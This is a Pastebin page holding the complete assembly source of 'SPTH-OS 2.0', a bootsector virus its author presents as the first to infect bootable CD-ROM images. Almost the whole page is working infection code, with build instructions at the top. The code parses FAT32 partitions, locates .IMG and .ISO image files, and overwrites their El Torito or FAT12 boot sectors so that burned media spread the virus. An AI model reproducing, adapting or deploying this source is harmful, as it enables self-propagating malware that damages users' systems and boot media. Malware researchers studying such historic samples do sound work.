Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ; SPTH-OS 2.0
- ; by Second Part To Hell/[rRlf]
- ; www.spth.de.vu
- ; spth@priest.com
- ; written from January 2005 - April 2005
- ; in Austria
- ;
- ; What you can see below is the world's first bootsectorvirus for CD-ROMs.
- ;
- ; The virus infects ISO-9660 El Torito Images in the Root Directory of the
- ; first partition on the Harddisk. It also infects FAT12 .IMG Imagefiles.
- ;
- ; El Torito is maybe the most often used Bootable CD-Image, and it's used by
- ; for instance Ahead Nero Burning-ROM.
- ;
- ; When the virus infects an ISO image, and the user burns this image to a
- ; CD-ROM, the CD-ROM is infected, and the virus can not be removed anymore.
- ; When the user now forgets the CD-ROM in the drive, and BIOS tests the
- ; CD-Boot, the next images became infected.
- ;
- ;
- ; The features:
- ; - First CD-ROM bootsector virus
- ; - Works at CD-ROMs and floppys
- ; - Own FAT32 Filesystem driver
- ; - ISO-9660 El Torito Images infection
- ; - FAT12 Image file infection
- ;
- ; The differences to other bootsector virus is, that it does not use the OS's
- ; functions but use it's own Filesystem driver. This was of course a lot of
- ; work, but I guess that it was a success.
- ;
- ; There is one known bug: the virus does not infect files at very huge and
- ; full-trashed root directories, as it just searchs files in the first 16
- ; sectors (256 entries), but this is very unusual. (But you have to know that
- ; also deleted files/dirs are saved in the root directory)
- ;
- ; Compile:
- ; - - -
- ; del kernel.bin
- ; cls
- ; fasm kernel.asm kernel.bin
- ; rawrite -f kernel.bin -d A -n
- ; pause
- ; shutdown -r -f -t 1 -c "SPTH-OS v2.0"
- ; - - -
- ;
- ; Well, the first prove-of-concept CD-ROM bootsector virus has been writen,
- ; now let's move to other projects...
- ;
- ;
- ;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- org 0x7c00 ; Offsets + 0x7C00, as the bootsector will be loaded at 0x7C00
- stfat:
- jmp startboot ; Jump over FAT12 table
- nop
- db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30 ; FAT12 Table
- db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00
- db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02
- db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
- db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C
- db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20
- db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32
- db 0x20,0x20,0x20
- startboot:
- cli ; No Interrupts
- mov ax,0x9000 ; Make the stack at 0x9000
- mov ss, ax ; Stack=0x9000
- mov sp, 0 ; Stackpointer=0x0
- sti ; Allow Interrupts
- mov [bootdrv], dl ; Save the bootdevice
- loada:
- push ds ; Save DS
- mov ax, 0 ; Function: Diskdrive reset
- mov dl, [bootdrv] ; Bootdevice to dl
- int 0x13 ; Execute
- pop ds ; Get DS
- jc loada ; If Error, do it again
- load1:
- mov ax, 0x1000 ; Where to read: 0x1000
- mov es, ax ; ES=0x1000
- mov bx, 0 ; BX=0
- mov ah, 0x2 ; Read sectors
- mov al, 0x3 ; Read 3 sectors
- mov cx, 2 ; Start at sector 2
- mov dx, 0 ; At current disk (or emulated disk)
- int 0x13 ; Execute
- jc load1 ; If error, do it again
- mov ax, 0x1000 ; AX=0x1000
- mov es, ax ; ES=0x1000
- mov ds, ax ; DS=0x1000
- push ax ; push 0x1000 to stack
- mov ax, 0 ; AX=0x0
- push ax ; push 0x0 to stack
- retf
- bootdrv db 0 ; Byte for bootdevice
- endboot:
- times (512-(endboot-stfat)-2) db 0
- dw 0xAA55
- org 0x0 ; Offsets + 0x0
- start:
- mov bx, 0x2000 ; bx=0x2000
- mov es, bx ; Data will be read to ES:BX, ES=0x2000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov ah, 0x2 ; Read
- mov al, 0x1 ; 1 Sector
- mov cl, 1 ; Start at sector 1
- mov ch, 0 ; Cylinder=0
- mov dh, 0 ; Head=0
- mov dl, 0x80 ; Drive=0x80=HD
- int 0x13 ; Read MBR
- xor bx, bx ; bx=0=Start of MBR
- mov ax, [bx+454] ; ax=1st Partition's start: Partitiontable (446) + 8 = 454
- mov cl, [bx+447] ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447
- mov dh, [bx+448] ; dh=Head of 1st Partition in CHS: 446 + 2 = 448
- mov ch, [bx+449] ; ch=Cylinder of 1st Partition in CHS: 446 + 3=449
- mov bx, 0x1000 ; bx=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x1000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov [BootSecPar], ax ; Save 1st Partition's start in LBA
- mov ah, 0x2 ; Read
- mov al, 0x10 ; 16 Sector
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x2000 ; bx=0x2000
- mov es, bx ; Data will be read to ES:BX, ES=0x2000
- mov ds, bx
- xor bx, bx ; BX=0x0
- int 0x13 ; Read First Sector of Partition
- xor bx, bx ; BX=0x0
- mov ah, [bx+24] ; ah=BPB_SecPerTrk: For CHS calculation
- mov al, [bx+26] ; al=BPB_NumHeads: For CHS calculation
- mov cl, [bx+13] ; cl=Sector per cluster
- mov ch, [bx+16] ; ch=Number of FATs
- mov si, [bx+14] ; si=Reserved Sectors
- mov ebp, [bx+44] ; ebp=RootCluster
- mov edx, [bx+36] ; edx=Sectors per FAT
- mov bx, 0x1000 ; bx=0x2000
- mov es, bx ; Data will be read to ES:BX, ES=0x2000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov [TotalSector], ah ; Save BPB_SecPerTrk
- mov [TotalHead], al ; Save BPB_NumHeads
- mov [SecPerClust], cl ; Save Sector per cluster
- mov [ReservedSec], si ; Save Reserved Sector
- mov [NumOfFats], ch ; Save Number Of FATs
- mov [SecPerFat], edx ; Save Sector Per FAT
- mov [LBA], ebp ; Save Root Cluster
- call getLBA ; Get the real sector number
- ; Returns the real sector number in EAX
- call CHS ; CHS
- mov ah, 0x2 ; Read
- mov al, 0x10 ; 16 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=?
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x2000 ; bp=0x2000
- mov es, bx ; Data will be read to ES:BX, ES=0x2000
- mov ds, bx
- xor bx, bx
- int 0x13 ; Read Sectors
- fat32read:
- mov cx, 0x2000 ; cx=0x2000
- mov es, cx ; Data will be read to ES:BX, ES=0x2000
- mov ds, cx
- mov ah, [bx] ; ah=First byte of Filename
- test ah, ah ; Check if zero. If zero, it's the last entry
- jz ende_a ; If it's the last entry of this directory, stopp the filesearching
- cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file
- je fat32next ; If deleted file, get next entry
- mov al, [bx+2] ; al=3rd letter of name
- test al, al ; Check if zero
- jz fat32next ; If zero, get next entry
- mov al, [bx+11] ; Move the Filetype to AL
- cmp al, 0x10 ; Compaire with 0x10 (=Directory)
- je fat32next ; If it's a directory, save the cluster
- mov ax, word [bx+8] ; 9th and 10th Letter to ax
- cmp ax, 'IM' ; Check if it's 'IM'
- jne fat32noimg ; If not, no IMG file
- mov al, byte [bx+10] ; Move 10th letter to al
- cmp al, 'G' ; Check if 10th letter='G'
- jne fat32noimg ; If not, no IMG file
- mov eax, [bx+0x1C] ; eax=Size of file
- cmp eax, (totalend-start)+512 ; Minimum size of file: 1st sector+viruslength
- js fat32next ; If not big enough, not infect this file
- push bx
- call infectionIMG ; Infection!
- pop bx
- fat32noimg:
- mov ax, word [bx+8] ; 9th and 10th Letter to ax
- cmp ax, 'IS' ; Check if it's 'IS'
- jne fat32noiso ; If not, no ISO file
- mov al, byte [bx+10] ; Move 10th letter to al
- cmp al, 'O' ; Check if 10th letter='S'
- jne fat32noimg ; If not, no IMG file
- push bx
- call infectionISO ; Infection!
- pop bx
- fat32noiso:
- fat32next:
- add bx, 0x20 ; Next entry
- jmp fat32read
- infectionIMG:
- mov ax, [bx+20] ; High number of cylinder to ax
- shl eax, 0x10 ; High number in e-part of eax
- mov ax, [bx+26] ; Low number of cylinder to ax
- mov bx, 0x1000 ; ax=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x1000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov [LBA], eax ; DataCluster=EAX
- call getLBA ; Get the real sector number
- ; Returns the sector number in EAX
- mov [LBA], eax ; Save the LBA
- call CHS ; Get the CHS of the real sector number
- mov ah, 0x2 ; Read
- mov al, 0x1 ; 1 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=?
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x3000 ; bx=0x3000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- int 0x13 ; Read Sectors
- mov eax, [bx+0x37] ; At 0x36: "FAT12"-mark
- cmp eax, 'AT12' ; Compaire the values
- call infectimgwrite ; If equal, infect it
- ret ; Otherwise return to the file-search procedure
- infectimgwrite:
- mov ax, 0x1000 ; AX=0x1000 (Virus in Memory)
- mov ds, ax ; DS=0x1000
- mov ax, 0x3000 ; AX=0x3000 (Bootsector of File in Memory)
- mov es, ax
- mov cx, 62 ; Length of 1st sector data
- mov si, fat12bootsector ; Where the data is
- mov di, 0x3E ; The FAT12 at 1st sector in IMG file
- rep movsb ; Move CX bytes from DS:SI to ES:DI
- ; Move 62 bytes from 0x1000:data1stsector to 0x3000:0x3E
- mov bx, 0x3000 ; bx=0x3000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov ax, 0x3CEB ; AX=Jmp over FAT12 Table
- mov [bx], ax ; Write the JMP to the changed sector
- mov bx, 0x1000 ; bx=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x1000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov ah, 0x3 ; Write
- mov al, 0x1 ; 1 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=?
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x3000 ; bx=0x3000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- int 0x13 ; Write Bootsector
- mov bx, 0x1000 ; bx=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov cx, 3 ; Do it 3 times
- WriteSecs:
- push cx
- push bx
- mov eax, [LBA]
- mov edx, 4
- sub dx, cx
- add eax, edx ; Get next sector
- xor edx, edx
- call CHS ; CHS
- pop bx ; restore bx
- mov ah, 0x3 ; Write
- mov al, 0x1 ; 1 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=??
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- int 0x13 ; Write Sectors
- pop cx ; Restore cx
- add bx, 0x200 ; Next sector
- loop WriteSecs
- ret
- infectionISO:
- mov ax, [bx+20] ; High number of cylinder to ax
- shl eax, 0x10 ; High number in e-part of eax
- mov ax, [bx+26] ; Low number of cylinder to ax
- mov bx, 0x1000 ; ax=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x1000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov [LBA], eax ; DataCluster=EAX
- call getLBA ; Get the sector number
- push eax ; Save the start of the file
- add eax, 17*4 ; Bootrecord Volume is ALWAYS at CD-ROM Sector 17
- ; A CD-ROM sector is ALWAYS 0x800
- ; A HD sector is ALWAYS (?) 0x200 (0x200*4[!]=0x800)
- ; We now have the sector of the Boot Record Volume of the ISO file at the HD
- call CHS ; Now calculate the CHS
- mov ah, 0x2 ; Read
- mov al, 0x1 ; 1 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=?
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x3000 ; bx=0x3000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- int 0x13 ; Read Sector
- ; Now we have the Boot Record Volume
- pop ecx ; ECX=Start of file
- mov eax, [bx+7] ; Move Byte 7-10 to eax
- cmp eax, 'EL T' ; Check if it's a bootable ISO file
- ; String should be 'EL TORITO SPECIFICATION'
- jne EndISOInfection ; If not: SHIT! ;)
- push ecx ; Save the Start of the file again
- mov eax, [bx+71] ; Move the 'Absolute pointer to first sector of Boot Catalog' to eax
- mov edx, 4
- mul edx ; You know: 0x800/0x200=4; Now it's the right sectornumber
- add eax, ecx ; Sector number at HD
- mov bx, 0x1000 ; bx=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x1000
- mov ds, bx
- xor bx, bx ; BX=0x0
- call CHS ; Get the CHS
- mov ah, 0x2 ; Read
- mov al, 0x1 ; 1 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=?
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x3000 ; bx=0x3000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- int 0x13 ; Read Sector
- ; Now we have the Boot Catalog
- pop ecx ; Get Start of the file
- mov al, [bx+32] ; AL=Boot Indicator: 0x88=bootable
- cmp al, 0x88 ; Check if it's bootable
- jne EndISOInfection ; If not: SHIT! ;)
- mov eax, [bx+40] ; This is the start sector of the virtual Disk
- mov edx, 4 ; EDX=4
- mul edx ; EAX=The real Sector in the file
- add eax, ecx ; EAX=The Sector of it on the HD
- mov bx, 0x1000 ; bx=0x1000
- mov es, bx ; Data will be read to ES:BX, ES=0x1000
- mov ds, bx
- xor bx, bx ; BX=0x0
- mov [LBA], eax
- call CHS ; Get the CHS
- mov ah, 0x2 ; Read
- mov al, 0x1 ; 1 Sector
- mov cl, [sector] ; Start at sector ??
- mov ch, [cylinder] ; Cylinder=?
- mov dh, [head] ; Head=??
- mov dl, 0x80 ; Drive=0x80=HD
- mov bx, 0x3000 ; bx=0x3000
- mov es, bx ; Data will be read to ES:BX, ES=0x3000
- mov ds, bx
- xor bx, bx ; BX=0x0
- int 0x13 ; Read Sector
- ; Now we have the Bootsector of the virtual Disk
- call infectimgwrite ; Infect the file!!!
- EndISOInfection:
- ret
- ende_a:
- mov ax, 0x1000 ; ax=0x1000
- mov es, ax ; Data will be read to ES:BX, ES=0x1000
- mov ds, ax
- xor bx, bx ; BX=0x0
- mov cx, 116 ; 116 Letters
- mov si, endmsg ; si=Offset of String
- jmp eee
- putstra:
- lodsb ; [si]->al
- mov ah, 0xE ; ah=0xE: Print Letter to Screen
- mov bx, 0x7
- int 0x10 ; call
- loop putstra ; Next Letter
- mov al, 13
- mov ah, 0xE
- mov bx, 0x7
- int 0x10
- mov al, 10
- mov ah, 0xE
- mov bx, 0x7
- int 0x10
- ret
- eee: call putstra
- mov ah, 0 ; ah=0: Get Key BIOS Function
- int 0x16 ; Call
- jmp reboot ; Now let's reboot!
- CHS:
- xor ebx, ebx ; ebx=0
- mov bl, [TotalSector] ; Total Sectors
- div ebx ; EDX:EAX DIV EBX=
- ; EAX= Quotient
- ; EDX= Reminder
- inc dx ; Reminder+1=Sector
- mov [sector], dl ; Sector=Reminder (not more than 0xFF)
- mov [cylhead], eax
- mov edx, eax ; EDX=Quotient
- shr edx, 16 ; DX=High number of quotient
- xor bx, bx ; BX=0
- mov bl, [TotalHead] ; Total Heads
- div bx ; DX:AX DIV BX=
- ; AX= Quotient
- ; DX= Reminder
- mov [head], dl ; Head=Reminder
- mov [cylinder], al ; Cylinder=Quotient
- shl ah, 6 ; 0000 00?? -> ??00 0000
- mov al, [sector] ; high two bits of cylinder (bits 6-7, hard disk only)
- or al, ah ; 00xx xxxx -> ??xx xxxx
- mov [sector], al ; Save!
- ret
- getLBA:
- ;; Find Data:
- ;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster)
- ;; DataCluster saved in LBA
- mov eax, [SecPerFat] ; eax=SecPerFat
- xor bx, bx ; bx=0
- mov bl, [NumOfFats] ; bl=NumOfFats
- mul bx ; AX*BX=DX:AX
- mov [FATCalc], ax ; Save the result
- xor eax, eax ; EAX=0
- mov al, [SecPerClust] ; al=SecPerClust
- mov ebx, [LBA] ; ebx=DataCluster
- sub ebx, 2 ; DataCluster-=2
- mul ebx ; EAX*EBX=EDX:EAX
- mov [ClustCalc], eax ; Save the result
- xor eax, eax ; eax=0
- mov ax, [BootSecPar] ; AX=Sectors before the 1st partition
- xor ebx, ebx ; ebx=0
- mov bx, [FATCalc] ; BX=(number of fats)*(sectors per fat)
- add eax, ebx ; AX+=BX
- mov bx, [ReservedSec] ; BX=Reserved Sectors
- add eax, ebx ; AX+=BX
- mov ebx, [ClustCalc] ; BX=(Root Cluster-2)*(Sectors per Cluster)
- add eax, ebx ; AX+=BX
- xor edx, edx ; EDX=0
- ret
- endmsg db 13,10,13,10,13,10
- db 'Thank you for using SPTH-OS 2.0!',13,10
- db 'This may spread better then Windows(c)(r)tm ;-)',13,10
- db 'by Second Part To Hell/rRlf'
- sector db 0x0
- head db 0x0
- cylinder db 0x0, 0x0
- cylhead dd 0x0
- bit2cyl db 0x0
- LBA dd 0x0
- BootSecPar dw 0x0
- TotalSector db 0x0 ; BPB_SecPerTrk: For CHS calculation
- TotalHead db 0x0 ; BPB_NumHeads: For CHS calculation
- SecPerClust db 0x0 ; Offset 13
- ReservedSec dw 0x0 ; Offset 14
- NumOfFats db 0x0 ; Offset 16
- SecPerFat dd 0x0 ; Offset 36
- FATCalc dw 0x0 ; NumOfFats*SecPerFat (should not be greater than 0xFFFF)
- ClustCalc dd 0x0 ; (RootClust-2)*(SecPerClust)
- fat12bootsector:
- db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00
- db 0x00,0xFB,0x88,0x16,0x7C,0x7C,0x1E,0xB8
- db 0x00,0x00,0x8A,0x16,0x7C,0x7C,0xCD,0x13
- db 0x1F,0x72,0xF3,0xB8,0x00,0x10,0x8E,0xC0
- db 0xBB,0x00,0x00,0xB4,0x02,0xB0,0x03,0xB9
- db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72
- db 0xEA,0xB8,0x00,0x10,0x8E,0xC0,0x8E,0xD8
- db 0x50,0xB8,0x00,0x00,0x50,0xCB
- reboot:
- db 0xEA ; Hexdump for reboot: jmp 00FF:FF00
- dw 0x0
- dw 0xFFFF
- totalend:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement